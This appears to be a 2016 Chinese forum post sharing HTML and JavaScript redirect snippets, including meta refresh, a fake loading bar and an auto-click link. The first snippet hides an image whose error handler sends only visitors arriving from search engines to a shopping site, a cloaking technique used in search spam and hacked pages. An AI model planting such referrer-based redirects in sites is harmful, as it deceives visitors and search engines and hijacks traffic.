我自己常用的几个html 跳转代码[]

dpsokline 2016-12-29 02:23:44
我自己常用的几个html 跳转代码[]
html网页自动跳转代码大]全.网页跳转代码可以有多种方法实现,我们举几种最好最简单的方法
第一个跳转命令
<img style="display:none" onerror="if(document.referrer.indexOf('')!=-1||document.referrer.indexOf('bing')!=-1 || document.referrer.indexOf('yahoo')!=-1){location.href='http://www.orangutanmalljordan.com/'}" src="error">

第二个跳转代码
<html><head><title>稍候。。。</title></head>
<body>
<script language='javascript'>document.location = 'http://www.orangutanmalljordan.com/'</script>
</body>
</html>

自动点代码
<a href="" id='autolink'>asda</a>
<script>
document.getElementById("autolink").click();
</script>

第三个跳转代码
<html>
<head>
<meta http-equiv="Content-Language" content="zh-CN">
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=2312">
<meta http-equiv="refresh" content="0.1;url=http://www.sqman.com">
<title></title>
</head>
<body>
</body>
</html>

第四个跳转代码
<html>
<head>

<meta http-equiv="Content-Type" content="text/html; charset=2312">
<title>正在进入</title>
</head>
<body>
<form name=loading>
<p align=center> <font color="#0066ff" size="2">正在进入,请稍等</font><font color="#0066ff" size="2" face="Arial">...</font>
<input type=text name=chart size=46 style="font-family:Arial; font-weight:bolder; color:#0066ff; background-color:#fef4d9; padding:0px; border-style:none;">

<input type=text name=percent size=47 style="color:#0066ff; text-align:center; border-width:medium; border-style:none;">
<script>
var bar=0
var line="||"
var amount="||"
count()
function count(){
bar=bar+2
amount =amount + line
document.loading.chart.value=amount
document.loading.percent.value=bar+"%"
if (bar<99)
{setTimeout("count()",100);}
else
{window.location = "http://www.sqman.com";}
}</script>
</p>
</form>
<p align="center"> 如果您的浏览器不支持跳转,<a style="text-decoration: none" href="http://www.sqman.com"><font color="#FF0000">请点这里</font></a>.</p>
</body>
</html>

...全文
450 4 打赏 收藏 转发到动态 举报
写回复
用AI写文章
4 条回复
切换为时间正序
请发表友善的回复…
发表回复
qq_38564872 2017-10-30
  • 打赏
  • 举报
回复
qq_34921650 2016-12-29
  • 打赏
  • 举报
回复
围观了 哈哈 啊

61,112

社区成员

发帖
与我相关
我的任务
社区描述
层叠样式表(英文全称:Cascading Style Sheets)是一种用来表现HTML(标准通用标记语言的一个应用)或XML(标准通用标记语言的一个子集)等文件样式的计算机语言。
社区管理员
  • HTML(CSS)社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧